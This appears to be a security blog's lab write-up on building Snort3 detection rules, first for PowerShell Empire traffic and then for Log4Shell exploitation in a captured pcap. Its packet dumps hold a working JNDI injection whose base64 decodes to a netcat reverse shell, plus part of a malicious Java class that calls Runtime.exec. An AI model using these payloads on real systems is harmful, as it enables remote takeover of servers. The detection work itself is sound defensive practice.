         discards_skipped: 3
                   events: 12
             syn_trackers: 69
              segs_queued: 7414
            segs_released: 7414
                segs_used: 3224
          rebuilt_packets: 4029
          rebuilt_buffers: 20
            rebuilt_bytes: 1064009
                     gaps: 47
          client_cleanups: 29
          server_cleanups: 10
                     syns: 69
                 syn_acks: 29
                   resets: 54
                     fins: 13
      inspector_fallbacks: 5
        partial_fallbacks: 22
                 max_segs: 816
                max_bytes: 410007
--------------------------------------------------
wizard
                tcp_scans: 4
                 tcp_hits: 4
--------------------------------------------------
Summary Statistics
--------------------------------------------------
timing
                  runtime: 00:00:00
                  seconds: 0.073711
                 pkts/sec: 17365
                Mbits/sec: 52
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1     17365      26070          1     36.73    36.73
 2                 stream_tcp     1     13785      16034          1     22.59    22.59
 3                        daq     1     17638       9925          0     13.98    13.98
 4               http_inspect     1     16750       4542          0      6.40     6.40
 5                       mpse     1     53710       4029          0      5.68     5.68
 6                  rule_eval     1     18036       2855          0      4.02     4.02
 7                     decode     1     17365       2236          0      3.15     3.15
 8                     stream     1     15755       1919          0      2.70     2.70
 9                     eventq     1     25798       1613          0      2.27     2.27
 10                       paf     1     10990       1427          0      2.01     2.01
 11                    binder     1      3662        313          0      0.44     0.44
 12                    wizard     1         4          8          2      0.01     0.01
--                      total    --     17365      70977          4        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003  10       472     452    452      4310         9         9             0        0        0
2         14000004  10       398     377    377      4139        10        10             0        0        0
3         14000002  10       436       3      3       375         0        38             0        0        0
4         14000001  10        12       3      3       308        25        86             5        0        0
o")~   Snort exiting

When we look above, we see that in one instance of we have 452 alerts and another of 377. The others with 3 we can live with. However, those 300+ and 400+ alerts  can be a real headache for us as analysts, thus contributing to the so called alert fatigue. Let's reduce this noise ... and the fatigue.

Let's add the following event filter to the snort.lua file.

event_filter =
{
  -- alerts once per 60 seconds then ignore any additional events during the 60 seconds.
    { gid = 1, sid = 4000001, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000002, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000003, type = 'both', track = 'by_src', count = 1, seconds = 60},
    { gid = 1, sid = 4000004, type = 'both', track = 'by_src', count = 1, seconds = 60},
}

When Snort3 is run against the pcap, this time we see

┌──(rootđź’€securitynik)-[~/packets]
└─# snort --pcap-list empire-full-session.pcap -A alert_talos --talos --pcap-show -k none -d -R local.rules -c snort.lua  -q
Reading network traffic from "empire-full-session.pcap" with snaplen = 1518

##### empire-full-session.pcap #####
        [1:4000001:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /news.php detected (alerts: 1)
        [1:4000002:10] POWERSHELL EMPIRE COMPROMISED HOST: POST request made for /news.php detected (alerts: 1)
        [1:4000003:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /admin/get.php detected (alerts: 1)
        [1:4000004:10] POWERSHELL EMPIRE COMPROMISED HOST: GET request made for /login/process.php detected (alerts: 1)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1     17365      29039          1     39.42    39.42
 2                 stream_tcp     1     13785      15494          1     21.03    21.03
 3                        daq     1     17638      10463          0     14.20    14.20
 4               http_inspect     1     16750       4428          0      6.01     6.01
 5                       mpse     1     53704       4115          0      5.59     5.59
 6                  rule_eval     1     18033       2923          0      3.97     3.97
 7                     stream     1     15755       2240          0      3.04     3.04
 8                     decode     1     17365       2203          0      2.99     2.99
 9                        paf     1     10989       1419          0      1.93     1.93
 10                    eventq     1     25792        994          0      1.35     1.35
 11                    binder     1      3662        336          0      0.46     0.46
 12                    wizard     1         4          7          1      0.01     0.01
--                      total    --     17365      73666          4        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003  10       472     452      1      4786        10        10             0        0        0
2         14000004  10       398     377      1      3933         9        10             0        0        0
3         14000002  10       436       3      1       366         0        38             0        0        0
4         14000001  10        12       3      1       311        25        82             7        0        0


Friday, December 24, 2021

Continuing Log4-Shell - Snort3 Rule - Detection

Now that we have a better understanding of the vulnerability, how it is being exploited, as well as how we can use packet analysis to understand the activities seen on the network, let's now use Snort3 to  automate our future detections, thus reducing that dwell time.

First up, I will create my own Snort configuration file (snort-log4j-conf.lua) and a local.rules file to store my own rules.

┌──(rootđź’€securitynik)-[~/log4j]
└─# touch snort-log4j-conf.lua && touch local.rules && ls snort-log4j-conf.lua local.rules -l
-rw-r--r-- 1 root root 0 Dec 21 13:39 local.rules
-rw-r--r-- 1 root root 0 Dec 21 13:39 snort-log4j-conf.lua

Without any rules or special configuration, let's run this against snort3 default installation to see what we get. This is important as we will have something to compare against later. This is also meant to show the benefits of customizing your security tools for your environment. 

First up, I'm running on Snort Version 3.1.18.0

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --version                                                                                                                                               

   ,,_     -*> Snort++ <*-
  o"  )~   Version 3.1.18.0
   ''''    By Martin Roesch & The Snort Team
           http://snort.org/contact#team
           Copyright (C) 2014-2021 Cisco and/or its affiliates. All rights reserved.
           Copyright (C) 1998-2013 Sourcefire, Inc., et al.
           Using DAQ version 3.0.5
           Using LuaJIT version 2.1.0-beta3
           Using OpenSSL 1.1.1l  24 Aug 2021
           Using libpcap version 1.10.1 (with TPACKET_V3)
           Using PCRE version 8.44 2020-02-12
           Using ZLIB version 1.2.11
           Using FlatBuffers 2.0.5
           Using Hyperscan version 5.4.0 2021-12-20
           Using LZMA version 5.2.5

We already know there is activity related to Log4J in this PCAP. However, using my default configuration no alters were triggers for the 7568 packets received, analyzed and allowed. This is expected as we can only detect what we tell the tool we would like to be detect on. Hence the need for rules and customization for your specific environment.

┌──(rootđź’€securitynik)-[/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos 
--------------------------------------------------
o")~   Snort++ 3.1.18.0
--------------------------------------------------
Loading ./snort-log4j-conf.lua:
        hosts
        host_cache
        active
        packets
        decode
        so_proxy
        trace
        search_engine
        process
        network
        host_tracker
        output
        daq
        alerts
Finished ./snort-log4j-conf.lua:
Loading rule args:
Loading ./local.rules:
Finished ./local.rules:
Finished rule args:
--------------------------------------------------
Network Policy : policy id 0 : ./snort-log4j-conf.lua
--------------------------------------------------
Inspection Policy : policy id 0 : ./snort-log4j-conf.lua
--------------------------------------------------
so_proxy:
--------------------------------------------------
pcap DAQ configured to read-file.
--------------------------------------------------
host_cache
    memcap: 8388608 bytes
Commencing packet processing
++ [0] log4-shell.pcapng
Instance 0 daq pool size: 256
Instance 0 daq batch size: 64
-- [0] log4-shell.pcapng
--------------------------------------------------
Packet Statistics
--------------------------------------------------
daq
                    pcaps: 1
                 received: 7568
                 analyzed: 7568
                    allow: 7568
                 rx_bytes: 821104
--------------------------------------------------
codec
                    total: 7568         (100.000%)
                 discards: 7523         ( 99.405%)
                      eth: 7568         (100.000%)
                     ipv4: 7568         (100.000%)
                      tcp: 7568         (100.000%)
--------------------------------------------------
Module Statistics
--------------------------------------------------
detection
                 analyzed: 7568
--------------------------------------------------
tcp
        bad_tcp4_checksum: 7523
--------------------------------------------------
Summary Statistics
--------------------------------------------------
timing
                  runtime: 00:00:00
                  seconds: 0.030417
                 pkts/sec: 7568
                Mbits/sec: 6
o")~   Snort exiting

Here is what my finished snort3 configuration file looks like.

-- Take advantage of some of Snort3 default configuration
include '/usr/local/etc/snort/snort_defaults.lua'

-- leverage the default classifications
classifications = default_classifications


-- Our protected network
HOME_NET = [[172.17.0.0/24]]

-- The networks we do not own
EXTERNAL_NET = '!$HOME_NET'

-- We want to take advantage of hyperscan for pattern matching
search_engine = { search_method = "hyperscan" }

-- Take advantage of the default wizard for port, services, etc. bindings
wizard = default_wizard

-- So that we can profile our rules, modules, etc.
profiler = { }

-- Ensure we reassemble the TCP Streams
stream = { }

-- Tell the stream to leverage the Linux policy when it is reassembling the streams
stream_tcp = { policy = "linux" }



-- Setup the HTTP Preprocessor
http_inspect = { }

-- To take advantage of the variables such as HOME_NET
securitynik_variables = 
    {
	nets = 
	    {
		HOME_NET = HOME_NET,
		EXTERNAL_NET = EXTERNAL_NET,
	    }
    } 

ips = 
    {
	mode = tap,
	variables = securitynik_variables,
    }

With my first rule attempt ...

/* This rule tracks activity from critical host making connections to external host */
alert tcp $HOME_NET any -> $EXTERNAL_NET any 
	(
		msg: "SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host!";
		reference: url, www.securitynik.com;
		classtype: bad-unknown; 
		rev: 2;
		sid: 4000001;
	)

I got ...

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos -q
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1      7568      63971          8     97.29    97.29
 2                        daq     1      7688        828          0      1.26     1.26
 3                     decode     1      7568        626          0      0.95     0.95
 4                       mpse     1      7778        138          0      0.21     0.21
 5                     eventq     1      7645        126          0      0.19     0.19
 6                     stream     1        45         39          0      0.06     0.06
 7                 stream_tcp     1        45         11          0      0.02     0.02
 8                  rule_eval     1        45         10          0      0.02     0.02
 9                     binder     1        23          1          0      0.00     0.00
--                      total    --      7568      65755          8        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   2        45       0      0         5         0         0             0        0        0

... 0 alerts. This makes no sense, as above we saw daq report 1 pcap with 7568 received. What is going on here. Well if we looked closely at out initial output, when we ran Snort with our empty configs, we  see a number of these packets are reporting as having bad checksum. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A cmg -c ./snort-log4j-conf.lua -R ./local.rules -v --talos | grep checksum
        bad_tcp4_checksum: 7523

Now, typically, when the checksum is bad, the end host would discard these packets. However, these checksums may be considered bad because of checksum offloading. Checksum offloading is where your network interface card (NIC) handles the checksum calculation, rather than your operating system. Let's disable checksum validation by adding "-k none" for this and see if it makes a difference.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -A talos -c ./snort-log4j-conf.lua -R ./local.rules -q -k none

##### log4-shell.pcapng #####
        [1:4000001:2] SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host! (alerts: 172)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
#                      module layer    checks   time(us)  avg/check  %/caller  %/total
=                      ====== =====    ======   ========  =========  ========  =======
 1                      other     1      7568      30509          4     82.24    82.24
 2                 stream_tcp     1      7568       2042          0      5.51     5.51
 3                  rule_eval     1      8846       1028          0      2.77     2.77
 4                        daq     1      7688        933          0      2.52     2.52
 5                     stream     1      7568        848          0      2.29     2.29
 6                     decode     1      7568        710          0      1.91     1.91
 7                       mpse     1     25380        614          0      1.66     1.66
 8                     eventq     1     11469        333          0      0.90     0.90
 9                        paf     1      1841         47          0      0.13     0.13
 10                    binder     1       663         30          0      0.08     0.08
--                      total    --      7568      37097          4        --   100.00
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   2      8846     198    172       419         0         0             0        0        0

Much better! Now we have 172 alerts. More than we need but at least we know our rule is heading in the right direction. No errors were produced and we got alerts. That is good enough for me. Taking a different look to understand one of the alerts.

12/20-13:07:32.050544 [**] [1:4000001:2] "SUSPICIOUS ACTIVITY - Critical Asset Communicating With External Host!" [**] [Classification: Potentially Bad Traffic] [
Priority: 2] {TCP} 172.17.0.2:36820 -> 192.168.56.102:389
02:42:AC:11:00:02 -> 02:42:3B:12:40:E4 type:0x800 len:0xB3
172.17.0.2:36820 -> 192.168.56.102:389 TCP TTL:64 TOS:0x0 ID:57527 IpLen:20 DgmLen:165 DF
***AP*** Seq: 0x941ABE2B  Ack: 0xABF72E9F  Win: 0x1F6  TcpLen: 32
TCP Options (3) => NOP NOP TS: 2720869590 831471978

snort.raw[113]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
30 6F 02 01 02 63 4D 04  2D 42 61 73 69 63 2F 43  0o...cM. -Basic/C
6F 6D 6D 61 6E 64 2F 42  61 73 65 36 34 2F 64 47  ommand/B ase64/dG
39 31 59 32 67 67 4C 33  52 74 63 43 39 77 64 32  91Y2ggL3 RtcC9wd2
35 6C 5A 41 6F 3D 0A 01  00 0A 01 03 02 01 00 02  5lZAo=.. ........
01 00 01 01 00 87 0B 6F  62 6A 65 63 74 43 6C 61  .......o bjectCla
73 73 30 00 A0 1B 30 19  04 17 32 2E 31 36 2E 38  ss0...0. ..2.16.8
34 30 2E 31 2E 31 31 33  37 33 30 2E 33 2E 34 2E  40.1.113 730.3.4.
32                                                2
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Looks good. Completing our first rule.

/* 
	This rule tracks activity from critical host attempting to make a connection to external host 
	One of the shortfall of this rule, is it has no content. Snort and Cisco's rule writers
	would not be happy about this if they were using this in production. 
	Do remember, we are learning here and addressing OUR lab concerns.
*/
alert tcp $HOME_NET any -> $EXTERNAL_NET 389 
    (
	msg: "SUSPICIOUS ACTIVITY - Critical Asset attempting to establish TCP/389 (LDAP) connection with External Host";
	flow: from_client;
	flags: S; /* Looking for TCP SYN flag*/
	flowbits: set, "securitynik_log4shell_attempt"; /* Set a flowbit to track this activity across this session */
	flowbits: noalert;
	reference: url, www.securitynik.com;
	classtype: bad-unknown; 
	rev: 3;
	sid: 4000001;
    )

This just detects the critical host making an attempt to connect to an external device but will not alert. Hence the 0 alerts below.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -d -c ./snort-log4j-conf.lua -R ./local.rules -q --talos -k none

rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000001   3       156      14      0        52         0         2             0        0        0

Writing our second rule to detect this activity.

/* This second rule builds on the first and will confirm the suspicious activity 
   By looking at the flowbit, we can tie the first activity with this second.
   Do note, this will trigger alerts.
*/
alert tcp $EXTERNAL_NET 389 -> $HOME_NET any 
    (
	msg: "SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host";
	flow: established, from_server; /* Ensuring the 3-way handshake has completed */
	content:"javaNamingReference", nocase;
	content: "http|3A 2F 2F|", nocase;
	content: "Basic|2f|Command|2f|Base64|2f|", nocase;
	regex: "/[a-bA-B0-9].*?=/"; /* because we know there is a base64 pattern after, look for that via regex*/
	flags: PA; /* looking at the flags to see if the external device is now sending data while ack'in the critical asset*/
	flowbits: isset, "securitynik_log4shell_attempt";
	reference: url, www.securitynik.com;
	classtype: policy-violation; 
	rev: 3;
	sid: 4000002;
    )

When this is run, we can see three alerts trigger.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q  
##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
#####
--------------------------------------------------
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000002   3         6       3      3        71        11        20             2        0        0
2         14000001   3       156      14      0        65         0         3             0        0        0

Looking at the packet that caused our rule to alert.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q                                                         
12/20-13:07:32.109820 [**] [1:4000002:3] "SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host" [**] [Classification: Potential Corporate Privacy Violation] [Priority: 1] {TCP} 192.168.56.102:389 -> 172.17.0.2:36820
02:42:3B:12:40:E4 -> 02:42:AC:11:00:02 type:0x800 len:0x10D
192.168.56.102:389 -> 172.17.0.2:36820 TCP TTL:64 TOS:0x0 ID:33047 IpLen:20 DgmLen:255 DF
***AP*** Seq: 0xABF72E9F  Ack: 0x941ABE9C  Win: 0x1FD  TcpLen: 32
TCP Options (3) => NOP NOP TS: 831472039 2720869590

snort.raw[203]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
30 81 C8 02 01 02 64 81  C2 04 2D 42 61 73 69 63  0.....d. ..-Basic
2F 43 6F 6D 6D 61 6E 64  2F 42 61 73 65 36 34 2F  /Command /Base64/
64 47 39 31 59 32 67 67  4C 33 52 74 63 43 39 77  dG91Y2gg L3RtcC9w
64 32 35 6C 5A 41 6F 3D  30 81 90 30 16 04 0D 6A  d25lZAo= 0..0...j
61 76 61 43 6C 61 73 73  4E 61 6D 65 31 05 04 03  avaClass Name1...
66 6F 6F 30 2C 04 0C 6A  61 76 61 43 6F 64 65 42  foo0,..j avaCodeB
61 73 65 31 1C 04 1A 68  74 74 70 3A 2F 2F 31 39  ase1...h ttp://19
32 2E 31 36 38 2E 35 36  2E 31 30 32 3A 34 34 33  2.168.56 .102:443
2F 30 24 04 0B 6F 62 6A  65 63 74 43 6C 61 73 73  /0$..obj ectClass
31 15 04 13 6A 61 76 61  4E 61 6D 69 6E 67 52 65  1...java NamingRe
66 65 72 65 6E 63 65 30  22 04 0B 6A 61 76 61 46  ference0 "..javaF
61 63 74 6F 72 79 31 13  04 11 45 78 70 6C 6F 69  actory1. ..Exploi
74 51 38 76 37 79 67 42  57 34 69                 tQ8v7ygB W4i
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

Good stuff! Moving on to our HTTP rules. 

Looking now at the HTTP rule to detect OUR JNDI activities. I keep emphasizing OUR as while we can use these concepts to develop rules for your production environment, there is no guarantee this rule will absolutely detect this activity in your environment. We are building these rules from the perspective of what we know about the contents of the packets from our labs.

/* 
    Taking advantage of a HTTP service rules to find 
    HTTP activity and the JNDI content	
*/
alert http 
    (   
	rem: "This rule is looking for the JNDI content in OUR pcap";
	msg: "POSSIBLE Log4J VULNERABILITY EXPLOITATION ";
	flow: established, to_server;
	http_header: request; /* Look at the HTTP request header */
	content: "X-Api-Version", nocase; /* Look for content X-Api-Version */
	content: "jndi", nocase;
	regex: "/(?i)\$\{jndi:ldap:\/\/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+\/.*?=\}/";
	reference: url, www.securitynik.com;
	classtype: web-application-activity;
	sid: 4000003;	
    )

Running this rule.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q

##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
#####
--------------------------------------------------
module profile (all, depth 255, sorted by total_time)
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       161         7        26             4        0        0
2         14000001   3       155      14      0        64         0         3             0        0        0
3         14000002   3         6       3      3        35         5         8             3        0        0

Good stuff! Our rule detected the activity. Looking at the output.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg -q
12/20-14:00:58.960398 [**] [1:4000003:0] "POSSIBLE Log4J VULNERABILITY EXPLOITATION " [**] [Classification: Access to a potentially vulnerable web application] [Priority: 2] {TCP} 172.17.0.1:60324 -> 172.17.0.2:8080

http_inspect.http_method[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
47 45 54                                          GET
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[1]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F                                                /
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[190]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 6F 73 74 3A 20 31 32  37 2E 30 2E 30 2E 31 3A  Host: 12 7.0.0.1:
38 30 38 30 0D 0A 41 63  63 65 70 74 3A 20 2A 2F  8080..Ac cept: */
2A 0D 0A 58 2D 41 70 69  2D 56 65 72 73 69 6F 6E  *..X-Api -Version
3A 20 24 7B 6A 6E 64 69  3A 6C 64 61 70 3A 2F 2F  : ${jndi :ldap://
31 39 32 2E 31 36 38 2E  35 36 2E 31 30 32 3A 33  192.168. 56.102:3
38 39 2F 42 61 73 69 63  2F 43 6F 6D 6D 61 6E 64  89/Basic /Command
2F 42 61 73 65 36 34 2F  62 6D 4D 67 4D 54 6B 79  /Base64/ bmMgMTky
4C 6A 45 32 4F 43 34 31  4E 69 34 78 4D 44 49 67  LjE2OC41 Ni4xMDIg
4F 44 41 67 4C 57 55 67  4C 32 4A 70 62 69 39 7A  ODAgLWUg L2Jpbi9z
61 43 41 74 64 6E 5A 32  43 67 3D 3D 7D 0D 0A 55  aCAtdnZ2 Cg==}..U
73 65 72 2D 41 67 65 6E  74 3A 20 53 65 63 75 72  ser-Agen t: Secur
69 74 79 4E 69 6B 20 54  65 73 74 69 6E 67        ityNik T esting
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

That's progress! Detecting netcat activity.

alert http
    (
	msg: "CODE EXECUTION ON CRITICAL SERVER - from external host";
	flow: established, to_client;
	content: "Exploit", nocase;
	regex: "/Exploit[0-9a-zA-Z]*/i"; /* Match on strings such as ExploitSMMZvT8GXL. */
	content: "/bin/sh", nocase;
	content: "cmd", nocase;
	content: "nc", fast_pattern, nocase;
	reference: url, www.securitynik.com;
	classtype: web-application-activity; 
	rev: 3;
	sid: 4000004;
    )

When this rule is run, we get 2 alerts fired:

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A talos -q   
##### log4-shell.pcapng #####
        [1:4000002:3] SUSPICIOUS ACTIVITY - CONFIRMED Critical Asset communicating via TCP/389 (LDAP) with External Host (alerts: 3)
        [1:4000003:0] POSSIBLE Log4J VULNERABILITY EXPLOITATION  (alerts: 3)
        [1:4000004:3] CODE EXECUTION ON CRITICAL SERVER - from external host (alerts: 2)
#####
--------------------------------------------------
...
--------------------------------------------------
rule profile (all, sorted by total_time)
#       gid   sid rev    checks matches alerts time (us) avg/check avg/match avg/non-match timeouts suspends
=       ===   === ===    ====== ======= ====== ========= ========= ========= ============= ======== ========
1         14000003   0        21       3      3       251        11        45             6        0        0
2         14000001   3       155      14      0       116         0         6             0        0        0
3         14000002   3         6       3      3        88        14        19             9        0        0
4         14000004   3         2       2      2        23        11        11             0        0        0

Looking at the output of the rule match.

┌──(rootđź’€securitynik)-[~/log4j]
└─# snort --pcap-list log4-shell.pcapng -c ./snort-log4j-conf.lua -R ./local.rules -k none -A cmg 


12/20-14:00:58.969683 [**] [1:4000004:3] "CODE EXECUTION ON CRITICAL SERVER - from external host" [**] [Classification: Access to a potentially vulnerable web application] [Priority: 2] {TCP} 192.168.56.102:443 -> 172.17.0.2:51836

http_inspect.http_version[8]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
48 54 54 50 2F 31 2E 31                           HTTP/1.1 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_stat_code[3]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
32 30 30                                          200
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_stat_msg[2]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
4F 4B                                             OK
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_uri[24]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
2F 45 78 70 6C 6F 69 74  36 48 48 63 33 42 63 56  /Exploit 6HHc3BcV
7A 49 2E 63 6C 61 73 73                           zI.class 
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.http_header[57]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
44 61 74 65 3A 20 4D 6F  6E 2C 20 32 30 20 44 65  Date: Mo n, 20 De
63 20 32 30 32 31 20 31  39 3A 30 30 3A 35 38 20  c 2021 1 9:00:58 
47 4D 54 0D 0A 43 6F 6E  74 65 6E 74 2D 6C 65 6E  GMT..Con tent-len
67 74 68 3A 20 31 32 33  36                       gth: 123 6
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -

http_inspect.stream_tcp[1236]:
- - - - - - - - - - - -  - - - - - - - - - - - -  - - - - - - - - -
CA FE BA BE 00 00 00 32  00 3D 01 00 11 45 78 70  .......2 .=...Exp
6C 6F 69 74 36 48 48 63  33 42 63 56 7A 49 07 00  loit6HHc 3BcVzI..
01 01 00 40 63 6F 6D 2F  73 75 6E 2F 6F 72 67 2F  ...@com/ sun/org/
61 70 61 63 68 65 2F 78  61 6C 61 6E 2F 69 6E 74  apache/x alan/int
65 72 6E 61 6C 2F 78 73  6C 74 63 2F 72 75 6E 74  ernal/xs ltc/runt
69 6D 65 2F 41 62 73 74  72 61 63 74 54 72 61 6E  ime/Abst ractTran
73 6C 65 74 07 00 03 01  00 03 63 6D 64 01 00 12  slet.... ..cmd...
4C 6A 61 76 61 2F 6C 61  6E 67 2F 53 74 72 69 6E  Ljava/la ng/Strin
67 3B 01 00 06 3C 69 6E  69 74 3E 01 00 03 28 29  g;...<in it>...()
56 01 00 13 6A 61 76 61  2F 69 6F 2F 49 4F 45 78  V...java /io/IOEx
63 65 70 74 69 6F 6E 07  00 09 0C 00 07 00 08 0A  ception. ........
00 04 00 0B 01 00 0C 6A  61 76 61 2F 69 6F 2F 46  .......j ava/io/F
69 6C 65 07 00 0D 01 00  09 73 65 70 61 72 61 74  ile..... .separat
6F 72 0C 00 0F 00 06 09  00 0E 00 10 01 00 01 2F  or...... ......./
08 00 12 01 00 10 6A 61  76 61 2F 6C 61 6E 67 2F  ......ja va/lang/
53 74 72 69 6E 67 07 00  14 01 00 06 65 71 75 61  String.. ....equa
6C 73 01 00 15 28 4C 6A  61 76 61 2F 6C 61 6E 67  ls...(Lj ava/lang
2F 4F 62 6A 65 63 74 3B  29 5A 0C 00 16 00 17 0A  /Object; )Z......
00 15 00 18 01 00 07 2F  62 69 6E 2F 73 68 08 00  ......./ bin/sh..
1A 01 00 02 2D 63 08 00  1C 0C 00 05 00 06 09 00  ....-c.. ........
02 00 1E 08 00 05 01 00  02 2F 43 08 00 21 01 00  ........ ./C..!..
13 5B 4C 6A 61 76 61 2F  6C 61 6E 67 2F 53 74 72  .[Ljava/ lang/Str
69 6E 67 3B 07 00 23 01  00 11 6A 61 76 61 2F 6C  ing;..#. ..java/l
61 6E 67 2F 52 75 6E 74  69 6D 65 07 00 25 01 00  ang/Runt ime..%..
0A 67 65 74 52 75 6E 74  69 6D 65 01 00 15 28 29  .getRunt ime...()
4C 6A 61 76 61 2F 6C 61  6E 67 2F 52 75 6E 74 69  Ljava/la ng/Runti
6D 65 3B 0C 00 27 00 28  0A 00 26 00 29 01 00 04  me;..'.( ..&.)...
65 78 65 63 01 00 28 28  5B 4C 6A 61 76 61 2F 6C  exec..(( [Ljava/l
61 6E 67 2F 53 74 72 69  6E 67 3B 29 4C 6A 61 76  ang/Stri ng;)Ljav
61 2F 6C 61 6E 67 2F 50  72 6F 63 65 73 73 3B 0C  a/lang/P rocess;.
00 2B 00 2C 0A 00 26 00  2D 01 00 0F 70 72 69 6E  .+.,..&. -...prin
74 53 74 61 63 6B 54 72  61 63 65 0C 00 2F 00 08  tStackTr ace../..
0A 00 0A 00 30 01 00 09  74 72 61 6E 73 66 6F 72  ....0... transfor
6D 01 00 72 28 4C 63 6F  6D 2F 73 75 6E 2F 6F 72  m..r(Lco m/sun/or
67 2F 61 70 61 63 68 65  2F 78 61 6C 61 6E 2F 69  g/apache /xalan/i
6E 74 65 72 6E 61 6C 2F  78 73 6C 74 63 2F 44 4F  nternal/ xsltc/DO
4D 3B 5B 4C 63 6F 6D 2F  73 75 6E 2F 6F 72 67 2F  M;[Lcom/ sun/org/
